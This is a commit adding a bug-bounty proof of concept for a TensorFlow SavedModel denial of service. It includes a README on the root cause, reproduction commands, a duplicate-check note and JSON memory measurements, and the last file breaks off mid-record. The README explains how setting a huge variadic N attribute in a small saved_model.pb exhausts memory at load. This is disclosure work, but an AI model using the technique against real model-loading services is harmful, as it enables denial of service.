Add TensorFlow SavedModel variadic N DoS PoC

.gitignore

@@ -0,0 +1,4 @@
+.venv/
+__pycache__/
+*.pyc
+reproduce-*.json

README.md

@@ -0,0 +1,75 @@
+# TensorFlow SavedModel variadic `N` attribute load-time DoS PoC
+
+This repository contains a proof of concept for a TensorFlow SavedModel
+loader denial of service in `tensorflow-cpu==2.21.0`.
+
+## Summary
+
+`tf.saved_model.load(model_dir)` validates `NodeDef` entries inside
+`saved_model.pb`. For variadic ops such as `Pack` and `StringJoin`, TensorFlow
+trusts the serialized `N` attribute while building the expected input type
+signature. A malicious SavedModel can set `N=250000000` while keeping only the
+original small number of inputs. During load, TensorFlow expands the expected
+signature before rejecting the malformed node, causing multi-GB memory use and
+CPU burn from an approximately 8 KB `saved_model.pb`.
+
+## Contents
+
+- `models/control_saved_model/`: valid control SavedModel.
+- `models/pack_n_250m_saved_model/`: malicious SavedModel with `Pack.N=250000000`.
+- `models/string_join_n_250m_saved_model/`: malicious SavedModel with `StringJoin.N=250000000`.
+- `repro_savedmodel_variadic_n_dos.py`: bounded reproduction script.
+- `evidence/n-sweep-time-rss-20260623.json`: measured `N` sweep showing RSS growth.
+- `evidence/structured-load-v2-20260623.json`: structured mutant loader results.
+
+## Reproduction
+
+Use Linux with GNU `time` and `timeout`.
+
+```bash
+python3 -m venv .venv
+. .venv/bin/activate
+pip install -r requirements.txt
+python repro_savedmodel_variadic_n_dos.py --exploit pack --timeout 12 --json-out reproduce-pack.json
+python repro_savedmodel_variadic_n_dos.py --exploit string_join --timeout 12 --json-out reproduce-string-join.json
+```
+
+Expected result:
+
+- The control SavedModel loads successfully.
+- The malicious SavedModel does not complete within the timeout.
+- `/usr/bin/time` reports multi-GB maximum RSS for the malicious load.
+
+On the reporter machine, the packaged reproduction produced:
+
+- `Pack.N=250000000`: timeout after 12 seconds at 6.39 GiB RSS.
+- `StringJoin.N=250000000`: timeout after 12 seconds at 5.43 GiB RSS.
+
+## Root Cause
+
+The root cause is in TensorFlow `node_def_util.cc`.
+
+In `AddArgToSig()`, the `number_attr` value is read from the untrusted
+serialized `NodeDef`. If it fits in `int32`, TensorFlow pushes one dtype per
+repeat into `DataTypeVector`:
+
+```cpp
+for (int i = 0; i < repeats; ++i) {
+  sig->push_back(dtype);
+}
+```
+
+`ValidateNodeDef()` then compares the expanded expected input vector with the
+actual serialized input count. On mismatch, it formats the entire expanded
+vector with `DataTypeVectorString(inputs)` for the exception message.
+
+This allows a tiny SavedModel file to force allocation and formatting work
+linear in attacker-controlled `N`.
+
+## Environment
+
+- TensorFlow: `tensorflow-cpu==2.21.0`
+- Trigger: `tf.saved_model.load(model_dir)`
+- Affected file: `saved_model.pb`
+- Impact: local denial of service when a victim loads or validates an untrusted
+  SavedModel.

SHA256SUMS

@@ -0,0 +1,22 @@
+9a18804a945f4ba5d547b2be497da31f3b2efa7fb8688dde6f51aa130859efd5  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/.gitignore
+8a32da076aa9f367dfb7d14a362af9223151fe19c3a3eaad5d3c57e372eaae80  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/README.md
+47d641ec8fac33446bec55865d12791fbdb5f1d60ab93a693565ee89de89a9c4  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/duplicate-check.md
+18e0d3f98730ce1e2b93ce6e9ce14b5f53bfd9b13629bc1491cca73b2173e111  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/evidence/n-sweep-time-rss-20260623.json
+14658ec093e7c46c624d4b849badd092cc724dfd06eb7bc59bb5292f3eeaae39  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/evidence/structured-load-v2-20260623.json
+80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/fingerprint.pb
+f9bf38bbc3b1a6e31e47e226c1b82d47d358bae62bef99e3304435015d695dab  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/saved_model.pb
+adf95360958dd7939ea333a6d08db5755844682feae7c18b192f9417748dffac  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/variables/variables.data-00000-of-00001
+4744a6c4fef39f6bc18c7220d37d1a69020f3a7d48e29b7b73a1cf73964d2f54  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/control_saved_model/variables/variables.index
+80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/fingerprint.pb
+4c132f37ca7bea1f44191c42c9cff199bb31071f76d35af0de2a3bc0d93a27e5  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/saved_model.pb
+adf95360958dd7939ea333a6d08db5755844682feae7c18b192f9417748dffac  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/variables/variables.data-00000-of-00001
+4744a6c4fef39f6bc18c7220d37d1a69020f3a7d48e29b7b73a1cf73964d2f54  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/pack_n_250m_saved_model/variables/variables.index
+80b53f66e9b76d907c8fb79eeae23d62027e745ab1cac09f83b1377808ae75f2  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/fingerprint.pb
+98456d6f26935635c55a4ad7c4f8ebb5015e255f3d3bd88d315fce92f7ed303c  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/saved_model.pb
+adf95360958dd7939ea333a6d08db5755844682feae7c18b192f9417748dffac  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/variables/variables.data-00000-of-00001
+4744a6c4fef39f6bc18c7220d37d1a69020f3a7d48e29b7b73a1cf73964d2f54  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/models/string_join_n_250m_saved_model/variables/variables.index
+2c8506f7f2c0c8ed24bd0c1d1c2b8e7d69c9ed371f1bc74957ffbd7406c0a0fa  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/repro_savedmodel_variadic_n_dos.py
+d472088739f580d9f03644458933c1e5262adebbf7f1700eab3c667bff578b9f  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/reproduce-pack.json
+862b04eb15f61f2ae24bd676f6bd22e32f8048d33e87d5be359ab998c4361363  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/reproduce-string-join.json
+c8732db700d639b561c04740aeef4a2f67efe2e9e931bc91fcb3548032874096  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/requirements.txt
+df81c27284ca09b955f800339e508e6a56247b14476770671bbbe4bd91a6899c  targets/huntr/hf/tensorflow-savedmodel-variadic-n-dos-poc/triage.md

duplicate-check.md

@@ -0,0 +1,32 @@
+# Duplicate check notes
+
+Checked on 2026-06-23 before submission.
+
+Local repository searches found no previous `hacnho` submission or report for:
+
+- `TensorFlow Saved Model`
+- `SavedModel`
+- `saved_model.pb`
+- `ValidateNodeDef`
+- `DataTypeVectorString`
+- `NodeDef expected inputs`
+- `number_attr`
+- `Pack N`
+- `StringJoin`
+
+Upstream GitHub issue searches in `tensorflow/tensorflow` found no direct match
+for `ValidateNodeDef N memory Pack StringJoin` or `DataTypeVectorString`.
+
+Web searches found general TensorFlow SavedModel documentation and unrelated
+`NodeDef expected inputs` user errors, but no report of a crafted SavedModel
+using a huge variadic `N` attr to cause load-time resource exhaustion.
+
+Huntr hacktivity was checked through `https://huntr.com/bounties/hacktivity`.
+The resulting screenshots/JSON are stored in this workspace under
+`targets/huntr/evidence/tensorflow-savedmodel-lab/hacktivity-duplicate-check/`.
+Terms `TensorFlow Saved Model`, `SavedModel`, `saved_model.pb`,
+`ValidateNodeDef`, `DataTypeVectorString`, `NodeDef expected inputs`,
+`number_attr`, and `StringJoin` each scanned 1297 public reports with zero
+matching bounty links. The broad term `Pack` returned five unrelated reports
+about package names or non-TensorFlow projects; none involved TensorFlow
+SavedModel, `NodeDef`, variadic op metadata, or load-time resource exhaustion.

evidence/n-sweep-time-rss-20260623.json

@@ -0,0 +1,184 @@
+{
+  "results": [
+    {
+      "elapsed_sec_parent": 2.371,
+      "exit_code": 1,
+      "kind": "pack_n",
+      "maxrss_kb": 526104,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_1000000",
+      "n": 1000000,
+      "saved_model_pb_size": 8265,
+      "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.31 user=2.01 sys=0.28 maxrss_kb=526104 exit=1\n",
+      "stdout_tail": "before_load 1782216348.7538211\n",
+      "time_exit": 1,
+      "time_real_sec": 2.31,
+      "time_sys_sec": 0.28,
+      "time_user_sec": 2.01
+    },
+    {
+      "elapsed_sec_parent": 2.869,
+      "exit_code": 1,
+      "kind": "pack_n",
+      "maxrss_kb": 662280,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_5000000",
+      "n": 5000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.70 user=2.13 sys=0.48 maxrss_kb=662280 exit=1\n",
+      "stdout_tail": "before_load 1782216351.1483314\n",
+      "time_exit": 1,
+      "time_real_sec": 2.7,
+      "time_sys_sec": 0.48,
+      "time_user_sec": 2.13
+    },
+    {
+      "elapsed_sec_parent": 3.508,
+      "exit_code": 1,
+      "kind": "pack_n",
+      "maxrss_kb": 797924,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_10000000",
+      "n": 10000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=3.20 user=2.24 sys=0.83 maxrss_kb=797924 exit=1\n",
+      "stdout_tail": "before_load 1782216353.9892404\n",
+      "time_exit": 1,
+      "time_real_sec": 3.2,
+      "time_sys_sec": 0.83,
+      "time_user_sec": 2.24
+    },
+    {
+      "elapsed_sec_parent": 8.402,
+      "exit_code": 1,
+      "kind": "pack_n",
+      "maxrss_kb": 1891536,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_50000000",
+      "n": 50000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ing, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=7.16 user=3.73 sys=2.98 maxrss_kb=1891536 exit=1\n",
+      "stdout_tail": "before_load 1782216357.7314134\n",
+      "time_exit": 1,
+      "time_real_sec": 7.16,
+      "time_sys_sec": 2.98,
+      "time_user_sec": 3.73
+    },
+    {
+      "elapsed_sec_parent": 13.426,
+      "exit_code": 1,
+      "kind": "pack_n",
+      "maxrss_kb": 3258416,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_100000000",
+      "n": 100000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ng, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 1 inputs specified; Op<name=Pack; signature=values:N*T -> output:T; attr=N:int,min=1; attr=T:type; attr=axis:int,default=0>; NodeDef: {{node MergeV2Checkpoints/checkpoint_prefixes}}\nCommand exited with non-zero status 1\nTIME_RESULT real=11.09 user=5.41 sys=5.06 maxrss_kb=3258416 exit=1\n",
+      "stdout_tail": "before_load 1782216366.5491536\n",
+      "time_exit": 1,
+      "time_real_sec": 11.09,
+      "time_sys_sec": 5.06,
+      "time_user_sec": 5.41
+    },
+    {
+      "elapsed_sec_parent": 12.425,
+      "exit_code": 124,
+      "kind": "pack_n",
+      "maxrss_kb": 6654568,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/pack_n_250000000",
+      "n": 250000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216379.380374 3086744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216380.564503 3086744 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nCommand exited with non-zero status 124\nTIME_RESULT real=12.42 user=7.25 sys=5.16 maxrss_kb=6654568 exit=124\n",
+      "stdout_tail": "before_load 1782216380.790944\n",
+      "time_exit": 124,
+      "time_real_sec": 12.42,
+      "time_sys_sec": 5.16,
+      "time_user_sec": 7.25
+    },
+    {
+      "elapsed_sec_parent": 2.444,
+      "exit_code": 1,
+      "kind": "string_join_n",
+      "maxrss_kb": 524684,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_1000000",
+      "n": 1000000,
+      "saved_model_pb_size": 8265,
+      "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.41 user=2.11 sys=0.29 maxrss_kb=524684 exit=1\n",
+      "stdout_tail": "before_load 1782216393.490017\n",
+      "time_exit": 1,
+      "time_real_sec": 2.41,
+      "time_sys_sec": 0.29,
+      "time_user_sec": 2.11
+    },
+    {
+      "elapsed_sec_parent": 2.698,
+      "exit_code": 1,
+      "kind": "string_join_n",
+      "maxrss_kb": 662160,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_5000000",
+      "n": 5000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=2.60 user=2.10 sys=0.45 maxrss_kb=662160 exit=1\n",
+      "stdout_tail": "before_load 1782216395.8928583\n",
+      "time_exit": 1,
+      "time_real_sec": 2.6,
+      "time_sys_sec": 0.45,
+      "time_user_sec": 2.1
+    },
+    {
+      "elapsed_sec_parent": 3.595,
+      "exit_code": 1,
+      "kind": "string_join_n",
+      "maxrss_kb": 797440,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_10000000",
+      "n": 10000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ring, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=3.45 user=2.50 sys=0.82 maxrss_kb=797440 exit=1\n",
+      "stdout_tail": "before_load 1782216398.7431524\n",
+      "time_exit": 1,
+      "time_real_sec": 3.45,
+      "time_sys_sec": 0.82,
+      "time_user_sec": 2.5
+    },
+    {
+      "elapsed_sec_parent": 8.415,
+      "exit_code": 1,
+      "kind": "string_join_n",
+      "maxrss_kb": 1892560,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_50000000",
+      "n": 50000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ing, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=6.83 user=3.86 sys=2.69 maxrss_kb=1892560 exit=1\n",
+      "stdout_tail": "before_load 1782216402.4563267\n",
+      "time_exit": 1,
+      "time_real_sec": 6.83,
+      "time_sys_sec": 2.69,
+      "time_user_sec": 3.86
+    },
+    {
+      "elapsed_sec_parent": 13.275,
+      "exit_code": 1,
+      "kind": "string_join_n",
+      "maxrss_kb": 3259836,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_100000000",
+      "n": 100000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "ng, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string, string' do not match 2 inputs specified; Op<name=StringJoin; signature=inputs:N*string -> output:string; attr=N:int,min=0; attr=separator:string,default=\"\">; NodeDef: {{node StringJoin}}\nCommand exited with non-zero status 1\nTIME_RESULT real=10.84 user=5.42 sys=4.71 maxrss_kb=3259836 exit=1\n",
+      "stdout_tail": "before_load 1782216411.367859\n",
+      "time_exit": 1,
+      "time_real_sec": 10.84,
+      "time_sys_sec": 4.71,
+      "time_user_sec": 5.42
+    },
+    {
+      "elapsed_sec_parent": 12.422,
+      "exit_code": 124,
+      "kind": "string_join_n",
+      "maxrss_kb": 6139352,
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/n-sweep/string_join_n_250000000",
+      "n": 250000000,
+      "saved_model_pb_size": 8266,
+      "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216423.925173 3089433 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216425.270036 3089433 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nCommand exited with non-zero status 124\nTIME_RESULT real=12.42 user=7.27 sys=5.14 maxrss_kb=6139352 exit=124\n",
+      "stdout_tail": "before_load 1782216425.5718942\n",
+      "time_exit": 124,
+      "time_real_sec": 12.42,
+      "time_sys_sec": 5.14,
+      "time_user_sec": 7.27
+    }
+  ]
+}

evidence/structured-load-v2-20260623.json

@@ -0,0 +1,261 @@
+{
+  "baseline": "targets/huntr/work/tensorflow-savedmodel-lab/baseline/minimal_saved_model",
+  "baseline_result": {
+    "child_json": {
+      "duration_sec": 1.87,
+      "loaded_type": "_UserObject",
+      "mode": "load",
+      "path": "targets/huntr/work/tensorflow-savedmodel-lab/baseline/minimal_saved_model",
+      "status": "ok"
+    },
+    "elapsed_sec": 2.302,
+    "exit_code": 0,
+    "signal": null,
+    "stderr_tail": "WARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216135.388355 3060699 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nI0000 00:00:1782216136.674714 3060699 port.cc:153] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.\n",
+    "stdout_tail": "{\"duration_sec\": 1.87, \"loaded_type\": \"_UserObject\", \"mode\": \"load\", \"path\": \"targets/huntr/work/tensorflow-savedmodel-lab/baseline/minimal_saved_model\", \"status\": \"ok\"}"
+  },
+  "mode": "load",
+  "mutants": [
+    {
+      "model_dir": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/all_output_shapes_huge",
+      "name": "all_output_shapes_huge",
+      "result": {
+        "child_json": {
+          "duration_sec": 1.786,
+          "exception": "Node 'RestoreV2/tensor_names' has an _output_shapes attribute inconsistent with the GraphDef for output #0: Dimension 0 in both shapes must be equal, but are 1 and 9223372036854775000. Shapes are [1] and [9223372036854775000].",
+          "exception_type": "ValueError",
+          "mode": "load",
+          "path": "targets/huntr/work/tensorflow-savedmodel-lab/mutants/structured-load-v2/all_output_shapes_huge",
+          "status": "exception"
+        },
+        "elapsed_sec": 2.249,
+        "exit_code": 0,
+        "signal": null,
